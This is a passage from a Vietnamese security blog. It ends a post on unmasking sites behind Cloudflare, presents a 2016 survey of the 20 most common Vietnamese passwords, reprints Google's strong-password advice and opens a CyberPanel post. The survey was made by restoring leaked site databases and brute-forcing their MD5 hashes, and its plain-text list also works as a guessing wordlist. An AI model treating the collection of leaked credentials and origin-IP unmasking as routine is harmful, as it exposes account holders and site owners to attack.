Đây cũng là cách để xác định được IP thật của đối tượng cần kiểm thử và có khá nhiều công cụ làm tốt việc này, dù rằng phương thức thực hiện của công cụ cũng nằm ở những cách phía trên hoặc có thêm vài trick khác nhưng tựu chung lại vẫn là kết quả mà chúng ta cần.
- http://www.crimeflare.com/
- http://iphostinfo.com/cloudflare/

Ngoài những cách ở trên còn khá nhiều trick và công cụ để thực hiện việc xác định IP thật của đối tượng được chia sẻ trên mạng, các bạn có thể tìm hiểu thêm bằng từ khóa phổ biến như:
- Bypass cloudflare
- Phương pháp bypass cloudflare.
- How to bypass cloudflare?
- Cloudflare bypass security.

Concobe.

Thứ Sáu, 26 tháng 8, 2016

Tìm hiểu những mật khẩu phổ biến ở Việt Nam


Một buổi chiều mưa bão, rảnh rỗi và sinh nông nổi tôi chợt nảy ra ý nghĩ tại sao có trước giờ có rất nhiều bài viết thống kê về mức độ phổ biến của mật khẩu
trên thế giới mà ở Việt Nam lại chưa có ai tìm hiểu hay viết bài về nó? phải chăng chưa có ai tìm hiểu? hoặc đã tìm hiểu nhưng chưa công bố?...

Sẵn có một số điều kiện thuận lợi là tôi hay download về các bản ghi lưu trữ thông tin của các trang web có khá nhiều người dùng ở VN từng bị tấn công và rò rỉ thông tin trước đây nên tôi bèn lấy chúng ra và bắt đầu tiến hành khôi phục (restore) các table user của những database mà tôi có được vào cái webserver dựng tạm ở localhost để làm việc, cũng mất khá nhiều thời gian, tôi đã tổng hợp lại được một nguồn hash md5 với con số khoảng gần 3 triệu hash, chính xác là 2.9 triệu hash.Tôi chỉ lấy những hash được mã hóa với thuật toán md5 thuần để nhằm có được kết quả khảo sát thực tế nhất và cho kết quả nhanh nhất có thể.

Sau khi có được số hash trên tôi bắt đầu export và cho vào một file text để dùng cách khảo sát cơ bản nhất đó là đếm số lượng hash trùng trong tổng số hash đó và sắp xếp theo thứ tự giảm dần.Và kết quả tôi đã có được danh sách kết quả khá dài, nhưng trong phạm vi bài này tôi chỉ liệt kê ra 20 mật khẩu mà được dùng nhiều nhất dựa theo nguồn khảo sát của tôi.

Dưới đây là danh sách 20 mật khẩu phổ biến đó dưới dạng hash md5:




Tôi tiếp tục brute-force để tìm ra những mật khẩu dạng rõ (plain text) và cũng may mắn là tôi có được hết 20 mật khẩu đó:



Qua kết quả này thì các bạn hẳn phần nào đã biết được thói quen dùng mật khẩu dễ cho các tài khoản ở VN vẫn còn rất nhiều và thực tế điều này nguy hại biết chừng nào.Hy vọng rằng sau bài viết này các bạn sẽ củng cố lại những mật khẩu của mình đang sử dụng theo các tiêu chuẩn an toàn để bảo vệ thông tin của mình.

Hạn chế của bài viết này là:
- Nguồn dữ liệu đầu vào vẫn còn tương đối ít và chưa bao quát.
- Khảo sát chỉ ở mức cơ bản là đếm số lượng hash trùng.
- Chỉ mang tính chất tham khảo.

Update (06-09-2016): Mình update thêm danh sách dạng text cho bạn nào cần.

123456
123456789
123123
anhyeuem
12345678
1234567
1234567890
0123456789
111111
25251325
0123456
123123123
asdasd
maiyeuem
iloveyou
123qwe
123321
khongbiet
123456a
zxcvbnm


Concobe

Cách tạo mật khẩu mạnh cho tài khoản trên mạng.

Cách tạo mật khẩu mạnh cho tài khoản trên mạng.



1. Sử dụng mật khẩu duy nhất cho mỗi tài khoản quan trọng của bạn.

Sử dụng mật khẩu khác nhau cho mỗi tài khoản quan trọng của bạn, như tài khoản email và tài khoản ngân hàng trực tuyến của bạn. Việc sử dụng lại mật khẩu có nhiều rủi ro. Nếu ai đó tìm ra mật khẩu của bạn cho một tài khoản, người đó có thể truy cập vào email, địa chỉ và thậm chí cả tiền của bạn.

2. Sử dụng kết hợp chữ cái, chữ số và ký hiệu trong mật khẩu của bạn.


Việc sử dụng chữ số, ký hiệu và kết hợp chữ hoa và chữ thường trong mật khẩu của bạn sẽ khiến người khác khó đoán mật khẩu của bạn hơn. Ví dụ: một mật khẩu có tám ký tự gồm chữ số, ký hiệu và chữ hoa/thường kết hợp khó đoán hơn vì sẽ có hơn 30.000 kết hợp có thể so với một mật khẩu có tám ký tự gồm chỉ chữ thường.

3. Không dùng thông tin cá nhân hoặc các từ thông dụng làm mật khẩu.

Tạo một mật khẩu duy nhất không liên quan đến thông tin cá nhân của bạn và sử dụng kết hợp chữ cái, chữ số và ký hiệu. Ví dụ: bạn có thể chọn một từ hoặc cụm từ ngẫu nhiên rồi chèn chữ cái và chữ số vào đầu, giữa và cuối để làm cho mật khẩu thêm khó đoán (chẳng hạn như "sPo0kyh@ll0w3En"). Không sử dụng các từ hay cụm từ đơn giản như "password" hay "letmein," các mẫu bàn phím chẳng hạn như "qwerty" hay "qazwsx" hoặc các mẫu tuần tự như "abcd1234", những trường hợp này đều khiến mật khẩu của bạn dễ đoán hơn.

4. Giữ an toàn mật khẩu của bạn.

Không để ghi chú có chứa mật khẩu truy cập vào nhiều trang web khác nhau trên máy tính hoặc bàn làm việc. Những người đi ngang qua có thể dễ dàng lấy trộm và sử dụng thông tin này để xâm phạm tài khoản của bạn. Đồng thời, nếu bạn quyết định lưu mật khẩu của mình vào một tệp trên máy tính, hãy tạo tên độc nhất cho tệp đó để người khác không biết nội dung bên trong. Tránh đặt tên tệp rõ ràng, chẳng hạn như "mật khẩu của tôi". Nếu bạn khó nhớ nhiều mật khẩu, một trình quản lý mật khẩu đáng tin cậy có thể là giải pháp tốt. Dành vài phút để xem bài đánh giá và danh tiếng của các dịch vụ này.

Nguồn: https://support.google.com/accounts/answer/32040?hl=vi

Cyberpanel và những lỗ hổng bảo mật đã fix.

Tầm đầu tháng 1/2019 mình thấy đi group nào chuyên về thiết kế website, bán hosting,...Của facebook cũng có những comment khuyên nhau sử dụn...